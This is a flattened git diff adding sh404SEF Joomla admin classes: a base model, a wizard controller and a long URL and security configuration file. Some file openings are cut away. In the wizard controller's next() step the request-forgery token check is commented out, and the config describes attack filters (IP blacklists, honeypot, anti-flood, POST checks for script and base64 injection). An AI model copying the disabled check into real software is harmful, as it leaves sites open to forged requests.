function _getContextDataDef() { + + $application = JFactory::getApplication(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $contextData = array( + + array( 'name' => 'limit', 'html_name' => 'limit', 'default' => $application->getCfg('list_limit'), 'type' => 'int') + , array( 'name' => 'limitstart', 'html_name' => 'limitstart', 'default' => 0, 'type' => 'int') + // search string applied to either sef or non sef + , array( 'name' => 'search_all', 'html_name' => 'search_all', 'default' => '', 'type' => 'string') + // ordering column + , array( 'name' => 'filter_order', 'html_name' => 'filter_order', 'default' => 'oldurl', 'type' => 'string') + // ordering direction + , array( 'name' => 'filter_order_Dir', 'html_name' => 'filter_order_Dir', 'default' => 'ASC', 'type' => 'string') + + ); + + return $contextData; + } + + /** + * Reset model internal cached data + * used after changing context for instance + */ + protected function _resetData() { + + // clean data, total and pagination, as we need them rebuilt + $this->_data = null; + $this->_total = null; + $this->_pagination = null; + } + + /** + * Read application user state stored by + * Joomla application object for the current context + * context represents current controller/model/view hierarchy + * and has been set by each of those elements + */ + protected function _updateContextData() { + + // if not been there before, or context has changed since last visit + if (is_null($this->_context) || $this->_context != $this->getState( 'context')) { + + // read context name and store inclass variabel, easier to access later on + $this->_context = $this->getState( 'context', $this->_context); + + // get an application instance + $application = JFactory::getApplication(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $contextData = $this->_getContextDataDef(); + + // must reset limistart if limit is changed + $mustResetLimitstart = false; + + // get the values from session and store them for future reuse + foreach( $contextData as $contextDataItem) { + + // must reset limistart if limit is changed, so store previous value of limit + if ($contextDataItem['name'] == 'limit') { + // search for previous value + $previousLimit = $application->getUserState( $this->_context . '.limit'); + $previousLimitstart = $application->getUserState( $this->_context . '.limitstart'); + } + + // get value + $value = $application->getUserStateFromRequest( $this->_context . '.' . $contextDataItem['name'], $contextDataItem['html_name'], $contextDataItem['default'], $contextDataItem['type'] ); + + if ($contextDataItem['name'] == 'limit' && isset($previousLimit) && $value != $previousLimit) { + $mustResetLimitstart = true; + $newLimit = $value; + } + + // and store it into this model + $this->setState( $this->_context . '.' . $contextDataItem['name'], $value); + + } + + // now check if we should reset limitstart + if ($mustResetLimitstart) { + + $newLimitstart = empty( $newLimit) ? 0 : $newLimit * floor( $previousLimitstart / $newLimit); + // store it into the session and the model + $application->setUserState( $this->_context . '.limitstart', $newLimitstart); + $this->setState( $this->_context . '.limitstart', $newLimitstart); + } + + } + } + + protected function _getOption( $name, $options, $default = null) { + + if (empty( $options) || !is_object( $options)) { + return $default; + } + + $value = isset( $options->$name) ? $options->$name : $default; + + return $value; + + } + + /** + * Short cut to get current state of value + * @param string $key + */ + protected function _getState( $key) { + + return $this->getState( $this->_context . '.' . $key); + + } + + /** + * short cut to set the state of a value + * + * @param string $key + * @param mixed $value + */ + protected function _setState( $key, $value) { + + return $this->setState( $this->_context . '.' . $key, $value); + + } + + + protected function _cleanForQuery( $string) { + + return $this->_db->escape( JString::trim( JString::strtolower( $string ))); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/basemodel.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basemodel.php new file mode 100644 index 00000000..aa2d27ce --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basemodel.php @@ -0,0 +1,315 @@ +_data) || $this->_data->id != $id) { + + jimport('joomla.database.table'); + + // get a table instance + $this->_data = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + // load from table + try { + $this->_data->load( $id); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->_data->setError( $e->getMessage()); + } + + // set error + $error = $this->_data->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } + + return $this->_data; + } + + /** + * Returns a list of items as objects + * as selected in the db based on passed + * options (ie $options = array( 'id' => 12);) + * + * Data is not cached! + * + * @param array $options an array of key/ value pairs representing select params + * @param boolean if true, method will only count matching records + * + * @return array of objects + */ + public function getByAttr( $options, $countOnly = false) { + + try { + if($countOnly) { + $list = ShlDbHelper::count( $this->_getTableName(), '*', $options); + } else { + $list = ShlDbHelper::selectObjectList( $this->_getTableName(), '*', $options); + } + + } catch (Exception $e) { + $list = $countOnly ? 0 : array(); + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return $list; + } + + public function setData( $data) { + + // get a table instance + $this->_data = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + + // bind data + try { + $this->_data->bind( $data); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->_data->setError( $e->getMessage()); + } + + // set error + $error = $this->_data->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } + + /** + * Create or update a record to + * DB from POST data or input array of data + * + * @param array $dataArray an array holding data to save. If empty, $_POST is used + * @return integer id of created or updated record + */ + public function save( $dataArray = null) { + + // get required tools + jimport( 'joomla.database.table'); + $this->_data = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + $post = is_null( $dataArray) ? JRequest::get('post') : $dataArray; + + // use table save method + try { + $status = $this->_data->save( $post); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->_data->setError( $e->getMessage()); + $status = false; + } + + // report error + if (!$status) { + JFactory::getApplication()->enqueuemessage( $this->_data->getError()); + return 0; + } + + // if success, fetch last insert id and return that + $tableDb = $this->_data->getDBO(); + $keyName = $this->_data->getKeyName(); + $id = empty($post[$keyName]) ? 0 : intval($post[$keyName]); + $savedId = empty( $id) ? $tableDb->insertid() : $id; + + return $savedId; + } + + /** + * set current context string, replacing existing one + * + * @param string $newContext + * @return string updated context + */ + public function setContext( $newContext = '') { + + if (!empty( $newContext)) { + $this->setState( 'context', $newContext); + + // reset object data as context has changed + $this->_resetData(); + } + + return $this->getState( 'context'); + } + + /** + * Update current context string, appending + * new context to existing one, separated by '.' + * + * @param string $newContextPart + * @return string updated context + */ + public function updateContext( $newContextPart = '') { + + $currentContext = $this->getState('context'); + + if (!empty( $newContextPart)) { + $this->setState( 'context', $currentContext . '.' . $newContextPart); + + // reset object data as context has changed + $this->_resetData(); + } + + return $this->getState( 'context'); + + } + + protected function _getTableName() { + + } + + /** + * Returns an object list + * Overriden to check on respective values + * of limit and limit start + * If limit is 0, limitstart should be reset to 0 as well + * + * @param string The query + * @param int Offset + * @param int The number of records + * @return array + * @access protected + * @since 1.5 + */ + protected function _getList( $query, $limitstart=0, $limit=0 ) + { + + // check limit and lim + $limitstart = $limit === 0 ? 0 : $limitstart; + + // do the job + $result = parent::_getList( $query, $limitstart, $limit); + + return $result; + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected function _getContextDataDef() { + + $application = JFactory::getApplication(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $contextData = array(); + + return $contextData; + } + + /** + * Reset model internal cached data + * used after changing context for instance + */ + protected function _resetData() { + + // clean data, total and pagination, as we need them rebuilt + $this->_data = null; + } + + /** + * Read application user state stored by + * Joomla application object for the current context + * context represents current controller/model/view hierarchy + * and has been set by each of those elements + */ + protected function _updateContextData() { + + // if not been there before, or context has changed since last visit + if (is_null($this->_context) || $this->_context != $this->getState( 'context')) { + + // read context name and store inclass variabel, easier to access later on + $this->_context = $this->getState( 'context'); + + // get an application instance + $application = JFactory::getApplication(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $contextData = $this->_getContextDataDef(); + + // get the values from session and store them for future reuse + if (!empty( $contextData)) { + foreach( $contextData as $contextDataItem) { + // get value + $value = $application->getUserStateFromRequest( $this->_context . '.' . $contextDataItem['name'], $contextDataItem['html_name'], $contextDataItem['default'], $contextDataItem['type'] ); + + // and store + $this->setState( $this->_context . '.' . $contextDataItem['name'], $value); + } + } + } + } + + protected function _getOption( $name, $options, $default = null) { + + $value = isset( $options->$name) ? $options->$name : $default; + + } + + /** + * Short cut to get current state of value + * @param string $key + */ + protected function _getState( $key) { + + return $this->getState( $this->_context . '.' . $key); + + } + + protected function _cleanForQuery( $string) { + + return $this->_db->escape( JString::trim( JString::strtolower( $string ))); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/basewizcontroller.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basewizcontroller.php new file mode 100644 index 00000000..25f0abdc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basewizcontroller.php @@ -0,0 +1,296 @@ +_opType = strtolower( JRequest::getCmd( 'optype')); //ex : 'import' + $this->_opSubject = strtolower( JRequest::getCmd( 'opsubject')); // ex: pageids + + // update context + $this->_context .= '.' . $this->_opType . '.' . $this->_opSubject; + + // create adapter object + $adapterName = 'Sh404sefAdapter' . ucfirst( $this->_opType) . $this->_opSubject; + + if (!class_exists( $adapterName)) { + $this->_fail( 'COM_SH404SEF_INVALID_WIZARD_ADAPTER'); + } else { + $this->_adapter = new $adapterName( $this); + } + + // collect properties from adapter + $properties = $this->_adapter->setup(); + + // and store them + foreach($properties as $key => $value) { + $this->$key = $value; + } + + } + + /** + * Display the view + */ + public function display( $cachable = false, $urlparams = false) { + + // catch up any result message coming from an + // ajax save for instance, and push that into + // the application message queue + $messageCode = JRequest::getCmd( 'sh404sefMsg'); + if (!empty($messageCode)) { + $msg = JText::_( $messageCode); + if ($msg != $messageCode) { + // if no language string exists, JText will + // return the input string, so only display if + // we have something to display + $app = JFactory::getApplication(); + $app->enqueuemessage( $msg); + } + } + + // get/create the view + $document =JFactory::getDocument(); + $viewType = $document->getType(); + $view = $this->getView( $this->_adapter->_stepsMap[$this->_adapter->_step]['view'], $viewType, '', array( 'base_path'=>$this->basePath)); + + // Set the layout + $view->setLayout( $this->_adapter->_stepsMap[$this->_adapter->_step]['layout']); + + // push button list into the view + $view->buttonsList = $this->_adapter->_buttonsList; + $view->visibleButtonsList = $this->_adapter->_visibleButtonsList; + + // push list of steps in to the view + foreach( $this->_adapter->_buttonsList as $button) { + $view->$button = $this->_adapter->_steps[$button]; + } + + // push controller name into view + $view->actionController = $this->_defaultController; + + // push operation type and subject into the view + $view->opType = $this->_opType; + $view->opSubject = $this->_opSubject; + + // push title, main and hidden text + $view->pageTitle = $this->_pageTitle; + $view->mainText = $this->_mainText; + $view->hiddenText = $this->_hiddenText; + $view->setFormEncType = $this->_setFormEncType; + + // check if we are done, and need to set a redirect + if (!empty( $this->_redirectTo)) { + $view->redirectTo = $this->_redirectTo; + } + + // check if we are continuein to another step, and need to set a redirect + if (!empty( $this->_continue)) { + $view->continue = $this->_continue; + } + if (!empty( $this->_nextStart)) { + $view->nextstart = $this->_nextStart; + } + + // push controller errors in the view + $error = $this->getError(); + if (!empty( $error)) { + $view->setError( $error); + } + + // Display the view + $view->display(); + + } + + /** + * Entry point for first screen of wizard + * without token check + */ + public function start() { + + $this->_adapter->_button = 'next'; + $this->_dispatch(); + } + + + public function next() { + + // Check for request forgeries + //JRequest::checkToken() or jexit( 'Invalid Token' ); + + // if not form submit, just display current step + $this->_adapter->_button = 'next'; + $this->_dispatch(); + } + + public function previous() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + $this->_adapter->_button = 'previous'; + $this->_dispatch(); + } + + public function terminate() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + $this->_adapter->_button = 'terminate'; + $this->_dispatch(); + } + + /** + * Close the wizard window and display an error message + * in the parent window + */ + public function cancel() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + $this->_adapter->_button = 'cancel'; + $this->_dispatch(); + + } + + /** + * Main entry point + */ + protected function _dispatch() { + + // collect and store request params + // what is the step id to run depending on what button was pressed + // ie : next = 3, previous = 1, terminate = 6 + foreach( $this->_adapter->_buttonsList as $button) { + $this->_adapter->_steps[$button] = JRequest::getInt( $button, $this->_adapter->_steps[$button]); + } + + // check request params + if(!in_array( $this->_adapter->_button, $this->_adapter->_buttonsList)) { + $this->_fail( 'COM_SH404SEF_INVALID_WIZARD_STEP'); + } + + // _dispatch request to appropriate method + + // _step contains numerical id of _stepsMap record to use + $this->_adapter->_step = $this->_adapter->_steps[$this->_adapter->_button]; + + // call the 'task' method listed in the _stepsMap array item + if (empty( $this->_adapter->_stepsMap[$this->_adapter->_step])) { + $this->_fail( 'COM_SH404SEF_INVALID_WIZARD_STEP'); + } else { + $methodName = $this->_adapter->_stepsMap[$this->_adapter->_step]['task']; + if (is_callable (array( $this->_adapter, $methodName))) { + $result = $this->_adapter->$methodName(); + $this->_useAdapterResult( $result); + $this->display(); + } else { + $this->_fail( 'COM_SH404SEF_INVALID_WIZARD_STEP'); + } + } + } + + /** + * invalid internal parameters, errors in parameters + */ + protected function _fail( $msg) { + + $app = JFactory::getApplication(); + $app->enqueuemessage( $msg, 'error'); + $this->display(); + + } + + protected function _useAdapterResult( $result) { + + // use results : the adapter may have change the suject + // of this operation, after analyzing incoming data in an import + // for instance + if( !empty( $result['opSubject'])) { + $this->_opSubject = $result['opSubject']; + } + + // redirections results + $redirectOptions = empty( $result['redirectOptions']) ? array() : $result['redirectOptions']; + + if (!empty( $result['redirectTo'])) { + $this->_redirectTo = $this->_getDefaultRedirect( $redirectOptions); + } + + // display results + if( !empty( $result['mainText'])) { + $this->_mainText = $result['mainText']; + } + + if( !empty( $result['hiddenText'])) { + $this->_hiddenText = $result['hiddenText']; + } + + if (!empty( $result['setFormEncType'])) { + $this->_setFormEncType = $result['setFormEncType']; + } + + if( !empty( $result['continue'])) { + // calculate redirect url to next step + $vars = array( 'option' => 'com_sh404sef', 'c' => $this->_defaultController, 'tmpl' => 'component', 'optype' => $this->_opType, 'opsubject' => $this->_opSubject); + $vars = array_merge( $vars, $result['continue']); + $this->_continue = Sh404sefHelperUrl::buildUrl( $vars); + } + + if( !empty( $result['nextStart'])) { + $this->_nextStart = $result['nextStart']; + } + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/config.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/config.full.php new file mode 100644 index 00000000..8e762f2b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/config.full.php @@ -0,0 +1,16 @@ +|:|;|{|}|[|]|&|`|„|‹|’|‘|“|”|•|›|«|´|»|°'; + /* characters replacement table v 1.2.4.f April 4, 2007*/ + public $shReplacements = 'Š|S, Œ|O, Ž|Z, š|s, œ|oe, ž|z, Ÿ|Y, ¥|Y, µ|u, À|A, Á|A, Â|A, Ã|A, Ä|A, Å|A, Æ|A, Ç|C, È|E, É|E, Ê|E, Ë|E, Ì|I, Í|I, Î|I, Ï|I, Ð|D, Ñ|N, Ò|O, Ó|O, Ô|O, Õ|O, Ö|O, Ø|O, Ù|U, Ú|U, Û|U, Ü|U, Ý|Y, ß|s, à|a, á|a, â|a, ã|a, ä|a, å|a, æ|a, ç|c, è|e, é|e, ê|e, ë|e, ì|i, í|i, î|i, ï|i, ð|o, ñ|n, ò|o, ó|o, ô|o, õ|o, ö|o, ø|o, ù|u, ú|u, û|u, ü|u, ý|y, ÿ|y, ß|ss, ă|a, ş|s, ţ|t, ț|t, Ț|T, Ș|S, ș|s, Ş|S'; + /* string, suffix for "files" */ + public $suffix = '.html'; + /* string, file to display when there is none */ + public $addFile = ''; + /* trims friendly characters from where they shouldn't be */ + public $friendlytrim = '-|.'; + /* boolean, convert url to lowercase */ + public $LowerCase = false; + /* boolean, include the section name in url */ + public $ShowSection = false; + /* boolean, exclude the category name in url */ + public $ShowCat = true; + /* boolean, use the title_alias instead of the title */ + public $UseAlias = true; + /* int, id of #__content item to use for static page */ + public $page404 = 0; + /* Array, contains predefined components. DEPRECATED - 2.2.4*/ + public $predefined = array(); + /* Array, contains components 404 SEF will ignore. */ + public $skip = array(); + /* Array, contains components 404 SEF will not add to the DB. + * default style URLs will be generated for these components instead + */ + public $nocache = array('events'); + // shumisha : additional parameters + /* Array, contains components 404 SEF will override their own sef_ext file if it has its own plugin. */ + public $shDoNotOverrideOwnSef = array(); + /* boolean, true (default) to log 404 errors to DB, false otherwise */ + public $shLog404Errors = true; + /* boolean, true (default) to use in mem cache, false to disable */ + public $shUseURLCache = true; + /* integer, max number of URL couple (sef + non-sef url) allowed in cache */ + public $shMaxURLInCache = 10000; + /* boolean, true (default) to translate texts in URL */ + public $shTranslateURL = true; + /* boolean, true (default) will always insert language iso code in URL (for other than default language) */ + public $shInsertLanguageCode = true; + /* Array, contains components sh404SEF will NOT translate URLs */ + public $notTranslateURLList = array(); // V 1.2.4.m + /* Array, contains components sh404SEF will NOT insert iso code in URL */ + public $notInsertIsoCodeList = array(); + // cache management + /* boolean, true if insert Itemid of menu item is none exists */ + public $shInsertGlobalItemidIfNone = false; + /* boolean, if true insert title of menu item if no Itemid exists for the URL*/ + public $shInsertTitleIfNoItemid = false; + /* boolean, true if always insert title of menu item. URL Itemid is used, if any, or menu item title*/ + public $shAlwaysInsertMenuTitle = false; + /* boolean, true if always append Itemid of non-sef URL (or of current menu item if none) to SEF URL */ + public $shAlwaysInsertItemid = false; // v 1.2.4.f + /* string, default menu name, to be used if $shAlwaysInsertMenuTitle is true, to override menu title */ + public $shDefaultMenuItemName = ''; + /* boolean, if true, Getvars not used in URl will be reappend to it */ + public $shAppendRemainingGETVars = true; + + // virtuemart management + /* boolean, true if always insert title of shop menu item */ + public $shVmInsertShopName = false; + /* boolean, if true, product ID will be prepended to product name */ + public $shInsertProductId = false; + /* boolean, if true, product sku will be used instead of name */ + public $shVmUseProductSKU = false; + /* boolean, if true, product Manufacturer name will be included in URL */ + public $shVmInsertManufacturerName = false; + /* boolean, if true, product if will be prepended to manufacturer name */ + public $shInsertManufacturerId = false; + /* integer, if 0, no categories will be inserted in URL for a product + if 1, only 'last' category will be inserted in URL + if 2, all nested categories will be inserted in URL */ + public $shVMInsertCategories = 1; + + /* boolean, if true, an additional text will be appended to sef URl when browsing categories + * ie : .../product_cat/view-all-products.html VS .../product_cat/ */ + public $shVmAdditionalText = true; + /* boolean, if true, a flypage name will be inserted in URL */ + public $shVmInsertFlypage = true; + + /* boolean, if true, category id will be prepended to category name */ + public $shInsertCategoryId = false; + /* boolean, if true, numerical id will be prepended to URL, for inclusion in Googlenews */ + public $shInsertNumericalId = false; + /* text, list of categories of content to which numerical id should be applied */ + public $shInsertNumericalIdCatList = ''; + /* boolean, if true, non-sef URL like index.php?option=com_content&task=view&id=12&Itemid=2 will be 301-redirected to their sef equivalent */ + public $shRedirectNonSefToSef = true; + /* boolean, if true, Joomla sef URL like /content/view/12/61 will be 301-redirected to their sef equivalent */ + public $shRedirectJoomlaSefToSef = false; + /* string, should be set to SSL secure URL of site if any used. No trailing / */ + public $shConfig_live_secure_site = ''; + /* boolean, if true, ed non-sef parameter will be interpreted as a iJoomla param in com_content plugin */ + public $shActivateIJoomlaMagInContent = true; + /* boolean, if true, issue id of iJoomla magazine will be prepended to category name */ + public $shInsertIJoomlaMagIssueId = false; + /* boolean, if true, magazine name will be prepended to all URL */ + public $shInsertIJoomlaMagName = false; + /* boolean, if true, magazine id will be inserted before magazine title */ + public $shInsertIJoomlaMagMagazineId = false; + /* boolean, if true, article id will be inserted before article title */ + public $shInsertIJoomlaMagArticleId = false; + + /* boolean, if true, name of menu item leading to Community builder will be prepended to all URL */ + public $shInsertCBName = false; + /* boolean, if true, user name will be inserte to all URL wher appropriate. Warning : this will + * increase DB space used? Normally user id is still passed as a GET param (ie ...?user=245) + * to save space and increase speed */ + public $shCBInsertUserName = false; + /* boolean, if true, id of user will be prepended to its name when previous option is activated + * in case two users have the same name */ + public $shCBInsertUserId = true; + /* boolean, if true user pseudo will be used instead of name */ + public $shCBUseUserPseudo = true; + + /* integer, default value for Itemid when using lettermand newsletter component */ + public $shLMDefaultItemid = 0; + + /* boolean, if true, default name for board will be prepended to URL */ + public $shInsertFireboardName = true; + /* boolean, if true name of forum category will be inserted in URL */ + public $shFbInsertCategoryName = true; + /* boolean, if true, Category id will be prepended to category name, in case 2 categories have same name */ + public $shFbInsertCategoryId = false; + /* boolean, if true, message subject will be inserted in URL */ + public $shFbInsertMessageSubject = true; + /* boolean, if true message id will be prepended to subject, in case 2 messages have same subject */ + public $shFbInsertMessageId = true; + + /* MyBlog parameters V 1.2.4.r*/ + public $shInsertMyBlogName = false; + public $shMyBlogInsertPostId = true; + public $shMyBlogInsertTagId = false; + public $shMyBlogInsertBloggerId = true; + + /* Docman parameters V 1.2.4.r*/ + public $shInsertDocmanName = false; + public $shDocmanInsertDocId = true; + public $shDocmanInsertDocName = true; + /* integer, if 0, no categories will be inserted in URL for a product + if 1, only 'last' category will be inserted in URL + if 2, all nested categories will be inserted in URL */ + public $shDMInsertCategories = 1; + /* boolean, if true, category id will be prepended to category name */ + public $shDMInsertCategoryId = false; + + /* boolean, if true, url will be urlencoded, needed for some non-latin languages */ + public $shEncodeUrl = false; + + /* boolean, if true, Itemid from url on homepage with com_content will be removed, so that com_content plugin + * can try guess amore appropriate one */ + public $guessItemidOnHomepage = false; // V 1.2.4.q + // V 1.2.4.q : added param to force non-sef if https, as we are not through with some shared ssl servers! + public $shForceNonSefIfHttps = false; + + // V 1.2.4.s try SEF without mod_rewrite + // V 3.0+ mode 2, /index.php?/ removed, not compatible with using Joomla router + public $shRewriteMode = 1; // 0 = mod_rewrite, 1 = AcceptpathInfo index.php 2 = AcceptPathInfo index.php? + public $shRewriteStrings = array('/', '/index.php/', '/index.php?/'); + + // V1.2.4.s record duplicate URL param + public $shRecordDuplicates = true; + public $shRemoveGeneratorTag = true; + public $shPutH1Tags = false; + public $shMetaManagementActivated = true; + public $shInsertContentTableName = true; + public $shContentTableName = 'Table'; + + // V 1.2.4.s auto redirect from www to non-www and vice-versa + public $shAutoRedirectWww = self::DONT_ENFORCE_WWW; + public $shVmInsertProductName = true; + + // V 1.2.4.t + /* string, exact URL for homepage, to replace the automatic one. Workaround for splash pagesNo trailing / */ + public $shForcedHomePage = ''; + public $shInsertContentBlogName = false; + public $shContentBlogName = ''; + + // Mosets Tree params + public $shInsertMTreeName = false; + public $shMTreeInsertListingName = true; + public $shMTreeInsertListingId = true; + public $shMTreePrependListingId = true; + /* integer, if 0, no categories will be inserted in URL for a product + if 1, only 'last' category will be inserted in URL + if 2, all nested categories will be inserted in URL */ + public $shMTreeInsertCategories = 1; + /* boolean, if true, category id will be prepended to category name */ + public $shMTreeInsertCategoryId = false; + public $shMTreeInsertUserName = true; + public $shMTreeInsertUserId = true; + + // iJoomla NewsPortal params + public $shInsertNewsPName = false; + public $shNewsPInsertCatId = false; + public $shNewsPInsertSecId = false; + + /* Remository parameters V 1.2.4.t*/ + public $shInsertRemoName = false; + public $shRemoInsertDocId = true; + public $shRemoInsertDocName = true; + /* integer, if 0, no categories will be inserted in URL for a product + if 1, only 'last' category will be inserted in URL + if 2, all nested categories will be inserted in URL */ + public $shRemoInsertCategories = 1; + /* boolean, if true, category id will be prepended to category name */ + public $shRemoInsertCategoryId = false; + + // boolean, if true, task = userProfile is accessed through mysite.com/username in CB + public $shCBShortUserURL = false; //V 1.2.4.t + + // a set of boolean vars, to decide what to do with existing data when upgrading sh404SEF + public $shKeepStandardURLOnUpgrade = true; //V 1.2.4.t + public $shKeepCustomURLOnUpgrade = true; //V 1.2.4.t + public $shKeepMetaDataOnUpgrade = true; //V 1.2.4.t + public $shKeepModulesSettingsOnUpgrade = true; //V 1.2.4.t + + // boolean, to decide whether to replace page numbering by headings in multipage articles + public $shMultipagesTitle = true; //V 1.2.4.t + + // compatiblity variables, for sef_ext files usage from OpenSef/SEf Advance + public $encode_page_suffix = ''; + public $encode_space_char = ''; + public $encode_lowercase = ''; + public $encode_strip_chars = ''; + public $spec_chars_d; + public $spec_chars; + public $content_page_format; // V 1.2.4.r + public $content_page_name; // V 1.2.4.r + + // V x + public $shKeepConfigOnUpgrade = true; + + // security parameters V x + public $shSecEnableSecurity = false; + public $shSecLogAttacks = false; + public $shSecOnlyNumVars = array('itemid', 'limit', 'limitstart'); + public $shSecAlphaNumVars = array(); + public $shSecNoProtocolVars = array('task', 'option', 'no_html', 'mosmsg', 'lang'); + public $ipWhiteList = ''; + public $ipBlackList = ''; + public $uAgentWhiteList = ''; + public $uAgentBlackList = ''; + public $shSecCheckHoneyPot = false; + public $shSecHoneyPotKey = ''; + public $shSecEntranceText = "

    Sorry. You are visiting this site from a suspicious IP address, which triggered our protection system.

    +

    If you ARE NOT a malware robot of any kind, please accept our apologies for the inconvenience. You can access the page by clicking here : "; + public $shSecSmellyPotText = "The following link is here to further trap malicious internet robots, so please don't click on it : "; + public $monthsToKeepLogs = 1; // = 1 will keep current months log + the month before + public $shSecActivateAntiFlood = false; + public $shSecAntiFloodOnlyOnPOST = false; // if true, antiflood is activated only if there is some POST data, as in a form + public $shSecAntiFloodPeriod = 10; // period over which requests from same IP are counted + public $shSecAntiFloodCount = 10; // max number of request from same IP in period above + + //public $insertSectionInBlogTableLinks = false; // default should be true, but set to false for compat reason + + /* Array, contains whether we should translate URLs per language */ + public $shLangTranslateList = array(); // V 1.2.4.m + /* Array, contains whether we should insert iso code URLs per language */ + public $shLangInsertCodeList = array(); + /* Array, contains list of default initial URL fragement per component */ + public $defaultComponentStringList = array(); // V 1.2.4.m + /* Array, contains pagination string, per language */ + public $pageTexts = array(); + + public $shAdminInterfaceType = SH404SEF_STANDARD_ADMIN; + + // V 1.3 RC shCustomTags params + public $shInsertNoFollowPDFPrint = true; + public $shInsertReadMorePageTitle = false; + public $shMultipleH1ToH2 = false; + + // V 1.3.1 RC + public $shVmUsingItemsPerPage = true; // set to true if using drop-down list to select number of items per page + public $shSecCheckPOSTData = true; // if set to yes, POST data will not be checked for mosconfig, script, base64, + // standard vars and cmd file in img names + public $shSecCurMonth = 0; + public $shSecLastUpdated = 0; + public $shSecTotalAttacks = 0; + public $shSecTotalConfigVars = 0; + public $shSecTotalBase64 = 0; + public $shSecTotalScripts = 0; + public $shSecTotalStandardVars = 0; + public $shSecTotalImgTxtCmd = 0; + public $shSecTotalIPDenied = 0; + public $shSecTotalUserAgentDenied = 0; + public $shSecTotalFlooding = 0; + public $shSecTotalPHP = 0; + public $shSecTotalPHPUserClicked = 0; + // com_smf params + public $shInsertSMFName = true; + public $shSMFItemsPerPage = 20; + public $shInsertSMFBoardId = true; + public $shInsertSMFTopicId = true; + public $shinsertSMFUserName = false; + public $shInsertSMFUserId = true; + + // other + public $appendToPageTitle = ''; + public $prependToPageTitle = ''; + public $debugToLogFile = false; + public $debugStartedAt = 0; + public $debugDuration = 3600; // time in seconds to log debug data to file. if 0, unlimited, default = 1 hour + + // V 1.3.1 + public $shInsertOutboundLinksImage = false; + public $shImageForOutboundLinks = 'external-black.png'; // default = black image + + // V 1.0.3 + public $defaultParamList = ''; // holds content of /administrator/components/custom.sef.php for editing + + // V 1.0.12 + public $useCatAlias = false; + public $useSecAlias = false; + public $useMenuAlias = false; + + // V 1.5.3 + public $alwaysAppendItemsPerPage = false; + public $redirectToCorrectCaseUrl = true; + + // V 1.5.5 + public $jclInsertEventId = false; + public $jclInsertCategoryId = false; + public $jclInsertCalendarId = false; + public $jclInsertCalendarName = false; + public $jclInsertDate = false; + public $jclInsertDateInEventView = true; + + public $ContentTitleShowSection = false; + public $ContentTitleShowCat = true; + public $ContentTitleUseAlias = false; + public $ContentTitleUseCatAlias = false; + public $ContentTitleUseSecAlias = false; + public $pageTitleSeparator = ' | '; + + // V 1.5.7 + public $ContentTitleInsertArticleId = false; + /* text, list of categories of content to which numerical id should be applied */ + public $shInsertContentArticleIdCatList = ''; + + // V 1.5.8 + + public $shJSInsertJSName = true; + public $shJSShortURLToUserProfile = true; + public $shJSInsertUsername = true; + public $shJSInsertUserFullName = false; + public $shJSInsertUserId = false; + public $shJSInsertGroupCategory = true; + public $shJSInsertGroupCategoryId = false; + public $shJSInsertGroupId = false; + public $shJSInsertGroupBulletinId = false; + public $shJSInsertDiscussionId = true; + public $shJSInsertMessageId = true; + public $shJSInsertPhotoAlbum = true; + public $shJSInsertPhotoAlbumId = false; + public $shJSInsertPhotoId = true; + public $shJSInsertVideoCat = true; + public $shJSInsertVideoCatId = false; + public $shJSInsertVideoId = true; + + public $shFbInsertUserName = true; + public $shFbInsertUserId = true; + public $shFbShortUrlToProfile = true; + + public $shPageNotFoundItemid = 0; + + // V 2.0.0 + public $autoCheckNewVersion = true; + public $error404SubTemplate = 'index'; + + /** + * Holds whether we should create a page id + * for current url routing task + * + * @var boolean + */ + public $enablePageId = true; + public $compEnablePageId = array('contact', 'content', 'newsfeeds', 'poll', 'user', 'weblinks'); + + // V 2.0.1 + public $analyticsEnabled = false; + public $analyticsReportsEnabled = true; + public $analyticsType = 'ga'; // google + public $analyticsId = ''; + public $analyticsExcludeIP = array(); + public $analyticsMaxUserLevel = ''; + public $analyticsUser = ''; + public $analyticsPassword = ''; + public $analyticsAccount = ''; + public $analyticsProfile = ''; + public $autoCheckNewAnalytics = true; + public $analyticsDashboardDateRange = 'week'; + public $analyticsEnableTimeCollection = true; + public $analyticsEnableUserCollection = true; + public $analyticsDashboardDataType = 'ga:pageviews'; // visits | unique | pageviews + + // v 2.1.4 + public $slowServer = false; + + // V 2.1.7 + //var $insertContactCat = false; + + // V 2.1.10 + public $useJoomsefRouter = array(); + public $useAcesefRouter = array(); + + // V 2.2.11 + public $insertShortlinkTag = true; + public $insertRevCanTag = false; + public $insertAltShorterTag = false; + public 